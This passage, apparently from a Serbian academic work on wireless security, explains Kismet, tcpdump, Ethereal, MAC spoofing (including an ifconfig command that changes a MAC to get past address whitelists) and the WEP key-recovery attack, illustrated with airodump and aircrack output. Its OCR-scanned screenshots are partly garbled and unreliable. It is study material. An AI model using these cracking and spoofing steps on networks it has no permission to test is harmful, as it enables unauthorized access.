Uz pretpostavku da je varijabla logtypes postavljena na dump, network i gps treba
kreirati direktorijum PenTest sa tri poddirektorijuma: dump, network i gps.

Pokretanje Kismet alata

Pretpostavljajuci da je Kismet postavljen u putanji operacionog sistema (engl.
path), alat se pokrece jednostavnim upisivanjem kismet u komandnoj liniji. Moze se
dogoditi da prilikom pokretanja ne uspe postavljanje identifikacione datoteke procesa
(engl. pidfile), ukoliko aplikaciju pokrece obi¢an korisnik. To je zato §to obicni
korisnik naj¢es¢e nema prava pisanja u direktorijum /var/run. Postoje dva nacina za
reSenje tog problema tj. za uspeSno pokretanje alata. Jedan od nacina je promenom
lokacije zapisivanja identifikacione datoteke u kismet.conf datoteci.

# Where do we store the pid file of the server?
piddir=/home/roamer

Ako je prilikom konfigurisanja Kismet alata postavljena suiduser varijabla u
kismet.conf datoteci jednostavnije je pokrenuti Kismet alat kao root korisnik. To je
korisnik koji ima sve dozvole kao i dozvolu za zapisivanje identifikacione datoteke.
Nakon pokretanja Kismet ¢e prebaciti privilegije na korisnika definisanog suiduser
varijablom, i na taj nacin izbeci potencijalne bezbednosne propuste rada aplikacije
pod root ovlaséenjima.

Pored mogu¢nosti identifikovanja pristupnih tacaka, Kismet ima i vrlo
praktican korisnicki meni. Kroz takav meni dostupna je velika koli¢ina informacija o
svakoj pristupnoj tacki koja je identifikovana. Neposredno je raspoloZiva informacija
o identifikatoru bezi¢ne mreze kao i neke druge uobicajene informacije poput tipa
mreze, tipa enkripcije, kanala pristupne tacke itd. Ako se zele dobiti detaljnije
dostupne informacije o otkrivenoj bezi¢noj mrezi treba se blize upoznati s ostalim
opcijama koje nudi Kismet meni.

Jedna od vrlo korisnih opcija je opcija sortiranja. Standardno je Kismet
postavljen u automatski nacin sortiranja. U tom nacinu sortiranja ne moze se dobiti
mnogo informacija o razliCitim pristupnim tackama. Kako bi se promenio nacin
sortiranja, potrebno je pritisnuti taster "s" nakon ¢ega ¢e se pojaviti meni sa moguéim
nacinima sortiranja (Slika 6.1.3).
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Fle Edt View Terminal Tabs Help
—Network List—{Autofit) Info
Mane T W Ch Packts Flags IP Range Ntwrks
! FERwlan A Y 004 312 0.0.0.0 9
! FERwlan A Y 063 241 0.6.0.90 Pckets
! <no ssid> A 0 006 51 0.0.0.0 1914
! FERwlan A Y 811 652 9.0.9.0 Cryptad
.—Sort Network:
Key Sort Key Sort
a Auto-Tit (standard) < Channel
: First time seen F First time seen (descending)
1 Latest time seen L Latest time seen (descending)
b BSSID B BSSID (descending)
s SSID s SSID (descending)
P Packet count P Packet count (descending)
Q Signal power level w Wep
x Cancel
- 6-
—Status
probe response.
Found new network “Satnik” bssid 60:0A:EB:A7:14:D9 Crypt N Ch 7 @ 5.50 mbit
Found new probed network "FERwlan™ bssid 00:14:A4:5F:D8:7E
Assoclated probe network "00:14:A4:5F:DB:7E” with "00:40:96:55:DD:3B" via da
LBattery: 94% 2h37m27s |

Slika 6.1.3 Opcije sortiranja Kismet alata

Postoji Cetrnaest razli¢itih nacina za izbor Koji se koriste u zavisnosti od potreba
ispitivanja. Na primer, ako su ispitivacu potrebne informacije o pristupnim tackama
specifi¢nog identifikacionog imena, treba odabrati opciju s kako bi se pristupne tacke
sortirale prema identifikatoru.

Jednom kad je odabran metod sortiranja, moze se poceti s daljim ispitivanjima
dodatnih informacija o pojedinoj mrezi. Za dodatne informacije treba se postaviti na
zapis zeljene pristupne tacke (koristenjem navigacionih strelica) i pritisnuti taster
"Enter"” (Slika 6.1.4).

Eile Edit VWiew Terminal Tabs Help

—Network List—(Channel) Info—y =
Hame T W Ch Packts Flags IP Range |!_Nturk5

.—Netuorh Details

Name ¢ ConnectionPoint

SS1ID : ConnectionPoint

Server ! localhost:2581

BSSID : 80:01:E3:CD:DE:B5

Carrier : IEEE 802.1lg

Manut ¢ Unknown

Max Rate: 54.0
BSS Time: aB6eclB8l
Max Seen: 1808 kbps

First : Mon Jun 18 22:35:02 2007
Latest : Mon Jun 18 22:36:43 2887
Clients : 1
Type : Access Point (infrastructure)
—| Info H [

—| Channet : 1 e
Privacy : No

Encrypt : None

Beacon @ 25600 (26.214400 sec)

57% (+) Down—

—Battery: 92% 2h33m2ls

Slika 6.1.4 Detalji o odabranoj beZiénoj mrezi
Takav izbor daje dodatne informacije. Osim klasi¢nog identifikatora (SSID) dostupna

je npr. i informacija o MAC adresi pristupne tacke (osnovni identifikator, BSSID). Na
osnovu maksimalne brzine prenosa koja u ovom primeru iznosi 54.0 dostupan je i
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podatak da se radi 0 802.11g pristupnoj tacki. U nekim slucajevima Kismet ¢e otkriti i
tip proizvodaca pristupne tacke. Takode je zabelezeno i vreme kada je pristupna tacka
videna, kanal na kojem radi kao i broj aktivnih klijenata. Kroz ovaj pogled dostupna
je i informacija o nacinu rada pristupne tacke. Uz jo$ mnoge druge informacije koje
Kismet nudi vazno je takode spomenuti da Kismet detektuje i tip zaStite koju koriste
pristupne tacke. Da bi se vratili u glavni meni potrebno je pritisnuti taster'q" za izlaz.

Korisna informacija, koju takode mozemo dobiti pomoc¢u Kismet, alata je
popis klijenata koji su spojeni na pristupnu tacku. Do takve informacije se dolazi
selektovanjem odredene pristupne tacke i pritiskom tastera "c" (Slika 6.1.5).

File Edit View Terminal Tabs Help
—Network List—(Channel) Int
Name T W Ch Packts Flags IP Range |I_Nturks
B-client List—(Autofit)
T MAC Manuf Data Crypt Size IP Range Sgn
F 00:09:B7:6A:C2:FF Unknown 432 432 309k 0.0.0.0 ]
E ©00:14:A4:5F:D8:7E Unknown 320 320 52k 0.0.90.90 ;]
1 00:40:96:55:0D:38B Cisco 8 © 6BOB 0.0.0.0 L]
F ©0:18:DE:9C:EB8:9F Unknown 3 3 6828 0.0.0.0 ;]
F 00:11:95:6F:AB:88 AlphaNet ;] e OB 0.0.0.0 ;]
l F 00:08:A3:3C:F2:E3 Unknown 1 1 62B 0.0.0.0 ]
F 00:1A:73:4F:E9:63 Unknown ] <] 6B 0.0.0.0 ]
T 00:0B:FD:C6:5D:DE Cisco 2 2 2128 06.0.90.0 ]
F 60:40:96:5A:C5:B0 Cisco 1 1 828 0.0.0.0 e
F 00:04:76:F4:FA:73 3Com 2 2 156B 0.0.0.0 ]
F 00:16:CF:40:05:61 Unknown 2 2 344B 0.0.0.0 ;]
— 04
—Battery: 91% 2h33m24s

Slika 6.1.5 Lista klijenata spojenih na odabranu pristupnu tacku

U pogledu liste klijenata dostupna je informacija 0 MAC adresi svakog klijenta, a u
odredenim slucajevima takode je moguce dobiti informaciju o tipu kartice koju
doti¢ni klijent koristi. Identifikuje se i broj paketa koje je Kismet uhvatio i broj paketa
koji su kriptovani. Kismet ima i mogucnost identifikovanja IP adrese klijenata i snage
njihovog signala. Povratak u glavni meni takode se obavlja pritiskom tastera "q".

Ponekad je korisno prikupljati informacije o pristupnoj tacki samo na
odredenom kanalu. Kako bi onemogucili skakanje na druge kanale i prikupljali
podatke na samo jednom kanalu, potrebno je odabrati Zeljenu pristupnu tacku i
pritisnuti kombinaciju tastera Shift + L (Slika 6.1.6). Na taj na¢in prikupljace se samo
podaci na kanalu odabrane pristupne tacke. Za povratak potrebno je pritisnuti
kombinaciju tastera Shift + H.
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L! root! ool [ip ean
fle Edt view Terminal Tabs Help
G—Nolwork List—(Channel) —InfTo
Name T W Ch Packts Flags IF Range Ntwrks
Adhoc Networks HN --- 2 A4 50.200.60.253 11
! ConnectionPoint A N 801 108 T4 192.168.1.1 Pckets
<no ssid> A Y 801 1 0.0.0.0 4205
. FERwlan A Y 003 344 0.0.0.90 Cryptd
! FERwlan A Y 004 770 0.0.0.0 1213
. FERwlan A Y 005 25 0.0.0.0 Weak
<no ssid> A O 006 104 0.0.0.0 e
A Y 607 992 0.0.0.0 Noise
! Satnik A N 007 123 A4 10.168.48.65 [}
. FERwlan A Y 811 412 6.0.0.0 Discrd
. ADSL Wireless Router A 0 811 30 6.0.0.0 L)
Pkts/s
16
Elapsd
“00:01:424
—Status
Found IP 192.168.1.1 for ConnectionPoint::00:01:E3:CD:DE:B3 via TCP
Allowing source "ipw2200°' to hop channels
Found new network “"<=no ssid>" bssid 00:40:96:55:5F:55 Crypt Y Ch 1 @ 11.06 m
Locking source ‘ipw2200' to channel 7
‘—Battery: 86% Zh22m7s

Slika 6.1.6 Prikupljanje podataka sa odredenog kanala

Kismet takode ima i robustan sistem pomoc¢i. Tako su dodatne informacije o
svakoj opciji dostupne pritiskom tastera "h". Kismet daje i statistiku kao Sto je
distribucija upotrebe pojedinih kanala i procenat mreza koje koriste WEP i WPA.

Neke pristupne tacke rade sa onemogucenim broadcastom svojih SSID u
beacon okvirima ili probe responses. Sakrivanje SSID se koristi da bi se povecala
bezbednost, posto samo oni klijenti koji znaju SSID neke AP su u mogucénosti da se
pridruze na nju. Ali zato Sto se upravljacki okviri Salju kao otvoreni tekst, SSID se
takode Salje kao otvoreni tekst kada se ,,autentikovani“ korisnik (koji zna SSID date
AP) pridruzuje na AP. Kismet koristi taj paket da prikaze postojanje AP i oznacava je
kao ,,skrivenu* u WLAN mreZzi.

Postoji verzija Kismet za MS Windows pod nazivom kiswin32-2005-08-R1-GPSD.

6.2 TCPDump

TCP Dump je odli¢an alat za pracenje i filtriranje komunikacije u realnom
vremenu. Na Slici 6.2.1 TCPDump sluSa jedan pridruzeni WLAN link zbog ARP
paketa. U svakoj liniji posle prve tri je opis uhva¢enog paketa. Prvi uhvaceni paket je
ARP zahtev, primljen u 11h 58 min 1.704626 sekundi. Zahtev je upucen nekome ko
ima IP adresu 192.168.1.2 i treba da poSalje odgovor na IP adresu 192.168.1.213.
Zahtev je ostao bez odgovora Sto znaci da niko u mrezi nema IP adresu 192.168.1.2.
Kasniji zahtev prema 192.168.1.213 je dobio odgovor od mrezne karte koja ima MAC
adresu 00:0e:35:a3:0f:56 i ta karta ima IP adresu 192.168.1.213

# tcpdump -i eth2 arp

tcpdump : verbose output suppressed , use -v or -vv for full protocol decode
listening on eth2 , link - type EN1OMB ( Ethernet ), capture size 96 bytes
11:58:01.704626 arp who - has 192.168.1.2 tell 192.168.1.213

11:58:02.704491 arp who - has 192.168.1.2 tell 192.168.1.213

11:58:03.704355 arp who - has 192.168.1.2 tell 192.168.1.213

11:58:44.184709 arp who - has 192.168.1.213 tell 192.168.1.1

11:58:44.184733 arp reply 192.168.1.213 is -at 00:0 e:35: a3:0f:56 (oui Unknown )

Slika 6.2.1 TCPDump - informacije o primljenim paketima
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6.3 Ethereal

|| | iunested) - Ethereal = — — - m

File Edit View Go Capture Analyze Statistics Help

SBecee PR x®E e»oFLI[EE qQaa @ W
EE"‘“"I :l ok Expression l anrn| o E!rul:l

*rotocel | Info l:"

Mo. . Destination
695 1.031344 192.168.1.140 192.168.1.213 IP Fragmented IP protocol {(proto=UCP
697 1.031351 192.168.1.140 192.168.1.213 1P Fragmented IFP protocol (proto=UDP
G698 1.031377 Cisco-Li 49:d1:81 (R IEEE 8t Acknowledgement |
609 1.084238 cisco-Li_4a9:dl:sl Broadcast IEEE & Beacon frame, sSsID: "linksys-®
TAm 1 Y eReas reen L3 AR AT 00 Brandaant TEEE Of Bascan frama  €ETR: 11 nkruns {hd |
4] | |

b Frame 658 (10 bytes on wire, 10 bytes captured)

Type/Subtype: Acknowledgement (29)
= Frame Control: Ox00D4 (Mormal)
Version: ©
Type: Control frame (1)
subtype: 13
= Flags: oxo@
DS status: Not leaving DS or network 1s operating in AD-HOC mede (Te 2JS: © From DS: 0) (oOx0Q)
. .0.. = More Fragments: This is the last fragment
tses Ouu. = Matry: Mrame 13 not being retranam tted
ceeB uu. = PWR MGT: STA will stay up
More Data: No data buffered
i «.. = WEP flag: WEP 1s disabled
Biwn ws = order flag: Not strictly ordered
Duration: ©
Receiver address: Cisco-Li_49:d1:81 (00:12:17:45:d1:81)

S S 00 00 00 00 12 17 459 d1 B . . - . . . .

EEE B0Z2.11 wiraless LAN (wlan), 10 bytes ‘:IP: 742 D: 742 M: 0 Drops: 0

Slika 6.3.1 Ethereal pod Linuxom

Ethereal se koristi za potpuniji pregled jednog paketa ukljucujuéi i sva
dostupna zaglavlja. Biblioteka o strukturama pojedinih paketa daje korisniku uputstva
pri analizi svakog od fragmenata u paketu. Ako Kismet ne daje dovoljno povratnih
informacija korisniku o tome Sta je otkrio, Ethereal se moze koristiti da do najsitnijih
detalja prikaze parametre mreze i komunikacije. Slika 6.3.1 je ekranski prikaz
Ethereal. Prvi prozor prikazuje okvire koji su prikupljeni od strane WLAN mrezne
karte. Detaljniji prikaz okvira sa potvrdom prijema je prikazan u listi ispod. Polja u
okviru su prikazana tako da ih korisnik moze lako procitati. Poslednja lista na dnu je u
hexa notaciji ili u ASCII notaciji.

6.4 Netstumbler

Netstumbler pokusava da se aktivno pridruzi svakoj pristupnoj tacki (AP) koju
detektuje. Ima najvecu primenu kod inZenjera koji ispituju svoju WLAN mrezu. Nije
naro¢ito pogodan za wardrive, zato $to je vidljiv — Salje probe request. Detaljniji opis
ovog programskog paketa je dat u poglavlju 8.

6.5 Programi za izmenu MAC adrese

Tokom izrade ovog rada uoceno je da se znacajan broj mreza §titi od napada
tako Sto pristup omogucéava samo uredajima koji su na listi MAC adresa kojima je
dozvoljen pristup AP-u. MAC adresu odreduje i u uredaj (bezi¢nu mreznu karticu)
upisuje proizvoda¢ uredaja. MAC adresa je 48 bitni broj, koji je podeljen u dva
jednaka dela. Prvi deo je oznaka proizvodaca, a drugi deo je serijski broj koji je
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uredaju dodelio proizvoda¢. To garantuje da nema dva uredaja sa istom MAC
adresom, osim ako proizvoda¢ pogresi. Taj 24 bitni broj se zove OUI
("Organizationally Unique Identifier”). Medutim, OUI je u stvarnosti dug 22 bita, dva
bita u polju se koriste za druge namene. Jedan bit nosi informacju o adresi -
»oroadcast ili multicast”, drugi bit je indikacija o tome dali je adapter lokalno
preraspodeljen (ako administrator mreze dodeli drugu vrednost MAC adrese kako bi
zadovoljio kriterijum iz lokalne mrezne politike).

Mehanizam za prosledivanje MAC adrese pod Microsoft Windows OS, se moze
zaobici, 1 tako odaslati neka druga MAC adresa, koju korisnik sam odabere. Izmena
koju ovakav program unese nije permanentna, ne upisuje se u sam uredaj, i postoji
samo dok se operativni sistem ponovo ne pokrene. Namena ovog programa je
upravljanje MAC adresama, a korisnici su najcesc¢e velike korporacije. To se moze
zloupotrebiti kako bi se napadac lazno predstavio i tako dobio pristup AP-u.

Hide My MAL Address

¥/ SMAC 2.0 Professional Edition - KLC Consulting; www. klcconsulting net
Fie View Options Help

Active | Spooted | Network Adapter
Vs ‘Yes Blustoott 00 E

f
Selected Adzpter: Intel{R) PFO/ Wireless 3345ABG Network
- Wireless Network Connection 2
0010 Yes  “es Intel(R) PRO Mireless 2915ABG Network Conne...  192.168.0.107 00-50-0B-F5-B0-23 =

0016 Yes Mo Vhiware Virtual Ethemnet Adapter for Viinetd 192168171 00-50-56-C0-00-08 Acapter Information
Current MAC Address: 00-18-DE-BE-D1-B7

1P Address Active MAC

BA

HOT HIDING YOUR REAL MAC ADDRESS ON THIS ADAPTER !

Connection: Wireless Networs Connection 2

Adapter: niel(R) PRO/Wireless 3945ABG Networic Connectian
[v" Shaw Only Active Network Adapters
y " UpsisiiiAe REEDIAT 1P Address: 152.162.0.12

New Sponfed MAC Add M ;
’%WTI_U ’#E“ W ’ﬁ m Riestar Adapter IPCartiy Device ID: |DDCEAE36FIES-4303 EC2E-519B03F200ES)
-[10 =/ FE -[81 =[D6 - x
| Rendom MACList ’
‘ 3 Sraof MAC Address
DIGITAL EQUIPMENT CORPORATION [0010FE] v Fetiosh it W i iy
=]
Spoofed MAC Addess Network Connecton »| ————aere— . [ o e
oo FE81-DE91 & [LocelArea Comecin 2C |- |57 |- |5F |-|9A |- |3C |- |CD
Actve MAC Addfess Hardware 1D »]
[i0-10-CH-EE-DB-FE & [phuetsotgmndgun? T Random 3 T rie
Disclairnar: Use this prograrm atyour own fisk. We are notresponsible for any damage that may occurto any systam. 4 5 »
[This program s notto be used for any llegal or unethical purpose. Do notuse this pragram ifyou do not agreewih . [ 1 About... l [Lj Save MAC »'«Cdfe!sl <) Clear SavedMACs

Slika 6.5.1 Programi za izmenu MAC adrese

U Linux-u, promenu MAC adrese mozemo obaviti ifconfig komandom, na primer:
ifconfig ethO hw ether 00:00:DE:AD:BE:EF

ili sa kratkim C programom pozivaju¢i ioctl() funkciju sa SIOCSIFHWADDR

flegom.

Lista proizvodaca opreme i njima dodeljenih OUI kodova za MAC adrese Se moze

pronadi na [5].
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7. Probijanje zastite bezi¢nih mreza

Uvod

JoS od vremena kada se pojavio poznati rad na temu kako krekovati WEP
klju¢ postoji dosta radova na temu slabosti i propusti u WEP mehanizmu zastite
bezbednosti podataka. Kao zamenu za WEP Kkorisnici su prihvatili najpre VPN i
802.1X. Takvo reSenje je dozvoljavalo koriS¢enje postoje¢e mrezne opreme uz
poboljSanje bezbednosti podataka. Zatim je usledilo privremeno reSenje u vidu WPA
mehanizma. WPA je otklonio veéinu poznatih bezednosnih propusta uocenih kod
WEP. Sa poboljsanjem bezbednosti raste i slozenost podeSavanja bezbednosnih
mehanizama, a to opet uzrokuje da primena u praksi bude manja nego $to se ocekuje.
Kona¢na zamena za WEP i WPA je WPA2 (IEEE 802.111) za koji do sada u varijanti
enterprise nema objavljenih slabosti po pitanju bezbednosti. Prakti¢ni primeri u ovom
poglavlju su izvrSavani pod Linux operativnim sistemom zbog ograni¢enog broja
bezi¢nih mreznih adaptera koji imaju potrebne funkcionalnosti. Vecina navedenih
primera bi se mogla izvrsti i pod Windows platformom.

7.1 Protokol za pridruzivanje na 802.11 mrezu
(Connection Access)

Klijent Pristupna
tacka
(Probe Request)

Otkrivanje
Beacon/(Probe Response)

Auth. Request

nonce

Autentikacija

anlpf 1uaflag

E..p(nonce)

Auth Response:Success

Y
Associate Request p

Pridruzivanje
Associate Response:Success

Anonce

EAPOL-Key(Snonce,MIC,RSN,IE)

WPA autentikacija/
EAPOL-Key(Anonce,MIC,RSN,IE) uspostavljanje

EAPOL-Key(Snonce,MIC)

Slika 7.1.1 Protokol konekcije na WLAN

Slika 7.1.1 pokazuje osnovu protokola i toka okvira prilikom konektovanja na
neku pristupnu tacku (AP). Najpre klijent detektuje pristupne tacke, bilo da Salje
zahtev za ispitivanje (probe request) i dobija odgovor (probe response), ili da samo
posmatra beacon okvire koje pristupne tacke ¢esto Salju. Odmah po otkrivanju, klijent
moZze da proba autentikaciju na pristupnu tacku. Ako se uspesno autentikuje, klijent
moze probati da se pridruzi na pristupnu tacku tako Sto poSalje zahtev za
pridruzivanje na mrezu (association request). Ako mu je dozvoljen pristup na AP,
klijent ¢e dobiti od AP-a pozitivan odgovor na zahtev za pridruzivanje (association
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response). Kad god je WPA aktivan, mehanizam autentikacije deljenim klju¢em
WEP-a se izbegava (koristi se sistem otvorene autentikacije), i stvarna autentikacija se
obavlja nakon pridruzivanja. U toku ovog Cetvorostepenog procesa, vazni kljucevi se
generiSu i razmenjuju. Posle inicijalizacije, klijentu je dozvoljeno i omoguceno da
Salje i prima okvire podataka od mreze i ka mrezi.

7.2 Wired Equivalent Privacy (WEP)

7.2.1 Osnova

Inicijalni
vektor IV

Seed RC 4 Sekvenca kiji?a
‘ PRNG Algoritam

—>
Tajni WEP kija

)
“+J > Kriptovani tekst

Otvoreni tekst

o Integrity Algoritam

Integrity Check
Value(ICV)

Poruka

Slika 7.2.1 'WEP - blok dijagram kriptovanja

Prvobitna namena WEP-a je da osigura bezbednost u bezi¢noj mrezi jednaku

onoj u ekvivalentnoj zi¢noj mrezi. Iz toga se namece pitanje, kakvu to bezbednost ima
zi¢na mreza U fizickom smislu. U kontrolisanom medijumu kakav ima zi¢ana mreza,
osnovna ideja je da su podaci vidljivi samo poSiljaocu primaocu i na switch-u. U
ranijim implementacijama zi¢ane mreze, bilo ko od korisnika priklju¢enih na HUB je
mogao da slusa sav saobracaj ostalih ucesnika. Sa danaSnjim switch uredajima, to vise
nije slucaj, podaci su dostupni za dva entiteta koji komuniciraju, a razmena podataka
se moze pratiti na switch-evima i ruterima u mrezi. Dakle WEP ipak ne obezbeduje
nivo bezbednosti u mrezi kakav imaju danasnje Zi¢ne mreze. Sa WEP bilo ko od
autorizovanih korisnika moze da sluSa sve ostale ucesnike u toj mrezi, §to odgovara
nivou bezbednosti koji su omogucavale starije zicane mreze sa HUB-om.
Ispunjavanje tri osnovne pretpostavke tajnosti, autenti¢nosti i kontrole pristupa, su
osnovni uslovi za bezbednost, i to je definisano standardom IEEE 802.11. Moze se
pokazati da nezavisno od toga kako je mreza konfigurisana sa WEP, uvek je moguce
narusiti ove tri pretpostavke bezbednosti. To je moguée zbog nacina na koji je WEP
napravljen. Kontrola pristupa nije ostvarena kao deo WEP. U izvornom tekstu
standarda 802.11 postoje samo nagovesStaji o kontroli pristupa. To je smernica o
koris¢enju MAC adresiranja da bi se sprecio pristup autentikovanim Klijentima, na
primer kada korisniku nije dozvoljen pristup u odredeno vreme ili kada mu ne treba
dozvoliti da koristi odredenu tacku pristupa (AP). Probijanje takve kontrole pristupa,
zasnovane na MAC adresiranju, je u ovom radu detaljnije analizirano. Takva kontrola
pristupa daje ideju da ,Klijenti” koji nisu autentikovani, i koji su potencijalni
napadaci, ne mogu slati nikakav sadrzaj u mrezu. Neautorizovano ubacivanje paketa
je takode detaljnije obradeno u ovom radu.
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Prikaz rada WEP-a je dat u standardu, a Slika 7.2.1 prikazuje operacije koje se tom
prilikom obavljaju. WEP koristi RC4 algoritam generatora pseudo slucajnih brojeva
(PRNG) razvijen od strane RSD Data Security, Inc. Svi u€esnici u mrezi ukljucujuéi i
pristupne tacke dele isti tajni WEP klju¢. Zatim se po redosledu kriptovanja podataka,
jedan inicijalni vektor IV spaja sa WEP klju¢em i koristi kao ulaz (seed) za RC4
PRNG algoritam. To na izlazu iz RC4 generatora daje sekvencu kljuca. Ta sekvenca
kljuca se XOR-uje sa zbirom otvorenog teksta i vrednoS¢u dobijenom proverom
integriteta otvorenog teksta (ICV). Inicijalni vektor IV se spaja sa kriptovanim
tekstom i Salje primaocu. Prijemnik ili prijemnici na drugoj strani, sledeéi istu
proceduru u obrnutom smeru dekriptuju poruke.

7.2.2 NaruSavanje poverljivosti

Poverljivost (confidentiality) se Stiti kriptovanjem svih podataka na
aplikativnom nivou. Za WEP je objavljeno sedam nac¢ina kako se moze dekriptovati
komunikacija.

1. Dobijanje WEP kljuca kao slabosti deljenog kljuca u algoritmu RCA4.

2. Koris¢enje WEP kljuca dobijenog napadom brute-force tipa uz upotrebu re¢nika.

. Dekriptovanje paketa uz pomo¢ poznatog inicijalnog vektora, odnosno baze
podataka inicijalnog vektora.

. Napad pomocu poznatog otvorenog teksta.

. Dvostrukim kriptovanjem se dobija otvoreni tekst.

. Preusmeravanje kriptovanih poruka na neku IP adresu kontrolisanu od napadaca.

. Probanje svakog moguéeg WEP kljuca i provera njegove validnosti, ofline.

w

~N o o1~

Drugi i Cetvrti slucaj ¢e raditi samo u specificnim okolnostima. Tre¢i slucaj trazi
posebnu paznju i nekoliko gigabajta prostora na disku. Peti slu¢aj se mora
primenjivati sa dosta istrajnosti. Sesti slu¢aj zahteva ciljnu mrezu kojoj ée se
pridruziti bezi¢na mreza ili host ra¢unar pod kontrolom napadaca, koji ima pristup
internetu. Prvi ujedno i najefikasniji metod napada na bezicnu mrezu sa WEP
zaStitom zahteva vremena koliko je dovoljno da pokupi kriptovane pakete. Sa ,,IV
akceleracijom® opisanom u ovom radu, prvi metod ¢e imati uspeha bilo gde za vreme
od jednog minuta do otprilike dvadeset minuta posle kupljenja prvog kriptovanog
paketa. Ako se ne koristi aktivni napad, to moze da potraje i nekoliko nedelja pri
uslovima saobracaja niskog intenziteta. Vreme potrebno za izvodenje ostalih napada
se krec¢e od nekoliko minuta do nekoliko dana.

7.2.2.1 Dobijanje WEP kljuca - slabost deljenog kljuca u algoritmu RC4

Najveci nedostatak WEP je nesumnjivo to Sto napadacu pruza mogucénost da
dobije tajni WEP kljuc. Potreban je samo obezbediti prijem radio signala, standardnu
malo prilagodenu oprema za bezi¢nu mrezu i Siroko dostupan open-source softver za
tu namenu. Napad sa ciljem da se kompromituje klju¢ je prvi put opisan u radu pod
naslovom ,,Slabosti u deljenju kljuca algoritma RC4* [6]. Ukratko, neki od kljuceva
koji sluze kao ulaz u RC4 algoritam i generiSu sekvencu kljuca, sa sobom nose i
prikazuju neke bitove kljuca koji je koriS¢en. Vrednost inicijalne sekvence kljuca je
odredena malim delom kljuca. Kada se poredi veliki broj sekvenci klju¢a generisanih
pomocu ,,slabih kljuceva”, statisticki se moze pronaci odredeni tajni klju¢. Skup
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,,slabih kljuéeva” se moze identifikovati pomocu inicijalnog vektora IV koji ¢ini prva
tri bajta za ulaz u RC4 algoritam. Re¢ima, postupak je sledeci:

1. Prikupljanje kriptovanih okvira.

2. lzdvajanje IV i prva dva bajta toka kljuca.

3. Odbacivanje okvira ako 1V ne ukazuje na ,,slabi” RC4 kljuc.

4. Od prikupljenih informacija, odrediti verovatnu vrednost bajta tajnog kljuca.

5. I¢i na prvi korak ponovo dok se ne prikupi veliki broj okvira, ili dok se ne otkrije
Kljuc.

6. Kada se prikupi dovoljan broj okvira, proveriti da li je klju¢ sa najvecom
verovatno¢om validan.

U stvarnom napadu oko 5,000,000 jedinstvenih inicijalnih vektora IV treba da bi se

pronasao tajni klju¢. Kasnije 2002 god. David Hulton je u radu [7] obradio

optimizaciju ovog napada. Njegova metoda napada i optimizacija zahteva samo

500,000 jedinstvenih IV, da bi se dobio tajni WEP klju¢. Implementacija je dostupna

u Hulton’s BSD Airtools. Aircrack [8] je druga implementacija napada i optimizacije.

Anonimni haker pod pseudonimom ,,KoreK” dalje usavrSava napad u 2004. god. sa

vise algoritama za izraCunavanje ponderisanih vrednosti (glasova) za bajtove kljuca.

Kada se primene ovakvi napadi, moguce je do¢i do WEP kljuc¢a nakon samo 300,000

prikupljenih jedinstvenih V.

Aircrack alat je u ovom radu kori$¢en za prikazivanje metoda napada. Kada se koristi

Aircrack, korak pre toga je podeljen izmedu dva alata. Airodump prikuplja okvire i

belezi interesantne IV i kriptovane bajtove. Aktuelni Aircrack program prolazi kroz

prikupljene podatke, salinjava bazu podataka o ponderisanim vrednostima

(glasovima) i obavlja proveru validnosti isprobavanjem WEP kljuceva sa najveéim

brojem glasova.

# airodump packets eth3
BSSID CH MB ENC PWR Packets LAN IP / # IVs ESSID

00:12:17:49:D1 :81 11 48 WPA -1 289826 253343 HomeNet
00:12:17:6 F :92:33 11 48 WEP -1 4725 0 linksys

Slika 7.2.2.1 Listing Airodump

Listing na Slici 7.2.2.1 pokazuje sve mreze sa kojih su prikupljeni paketi u kojima su
neki parametri o tim mrezama. Vrednost IV koja se vidi je od interesa, 253,343 za
mrezu Koja je napadnuta ; ,,HomeNet”.

# aircrack packets
aircrack 2.1
* Got 231129! unique 1Vs | fudge factor =2
* Elapsed time [00:00:03] | tried 1 keys at 20 k/m

KB depth votes

00/12A(57) 3D(
10/ 1 B1(53) 6B(
20/ 1 DD( 96) 59(
30/337(36) 10(2
40/ 16E(68)1C(2
50/ 393(263) F3(
60/357(25) 71(1

5) 09(
5) 3¢(
5) Ad(
)97(1

12) 5E( 12) 73( 12) DF( 12)
13) 58( 13) 59( 13) DC( 12)
15) AF( 12) B5( 12) 2A( 5)
8) 22( 15) 5A( 15) 34( 12)

N
Nee =

) CA( 15) A0( 13) 59( 12) 7F( 12)
75) AD( 170) 8D( 45) 0C( 40) 0B( 38)
6) C4( 12) 72( 11) 38( 10) F1( 10)
70/ 1 D7( 113) AE( 18) F6( 15) 04( 12) 91( 12) 41( 10)
80/ 1 7B( 116) CC( 20) 85( 18) 8F( 18) 7E( 15) BF( 14)
90/ 1 8D( 49) D4( 18) 08( 15) 6C( 15) E9( 15) 42( 12)
10 0/ 1 54( 37) 41( 16) E8( 16) 8F( 15) 09( 12) 0E( 12)
) 35( 18) 7C( 18) 29( 15) DC( 15)
5E( 15) 67( 15) 69( 12) 83( 11)

[y

110/ 1 67( 115) BD( 22
120/ 1 BO( 38) 2C( 15)

Slika7.2.2.2 Listing Aircrack
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U listingu na Slici 7.2.2.2 se vidi kakao Aircrack proba mnogo razli¢itih kljuceva
kako bi video dali je neki od njih tajni WEP kljué. Bitovi u kljucu koji su prikazani
izabrani su preko ponderisane veli¢ine tj. ,,glasova” koje su dobili. Glasovi su brojevi
u zagradama odmah pored bita koji predstavljaju klju¢. Broj razli¢itih bajtova koje
proba za svaki odabrani bajt je odreden sa vrednos¢u ,,fudge factor”, i prikazan je na
slici. Sa vecom ,.fudge factor” vrednoséu vise kljuéeva ée biti testirano. Sto vise
glasova bajt kljuca dobije to je verovatnije da ¢e biti ispravna vrednost bajta kljuca u
okviru tajnog kljuca. Kada se dovoljno paketa prikupi, statistika obicno sa velikom
verovatno¢om ukaze na ispravnu vrednost klju¢a. U ovom slucaju svi bajtovi kljuca
koji imaju najvise glasova su bajtovi kljuca, pa je tako ispravna vrednost kljuca: 2A-
B1-DD-37-6E-93-57-D7-7B-8D-54-67-B0. U eksperimentu je oko 4800 paketa u
sekundi poslato preko linka. Ova slika ukljucuje okvire podataka u oba smera.
Otprilike 2900 paketa podataka sa jedinstvenim IV-om u sekundi znaci da je ukupno
vreme za napad 231 129 / 2900 =~ 79 sekundi. Brzina od 4800 paketa u sekundi je
moguca zato $to je omogucen pristup internoj mrezi, paketi su prebacivani u WLAN
mrezu $to je brze moguce.

U situacijama koje viSe odgovaraju realnim uslovima, gde napada¢ nema dobar
pristup internoj mrezi, proces prikupljanja dovoljno 1V-a bi uzeo viSe vremena. Metod
koji je nazvan ,,IV akceleracija” omogucéava napadacu da IV prikuplja brzinom koja je
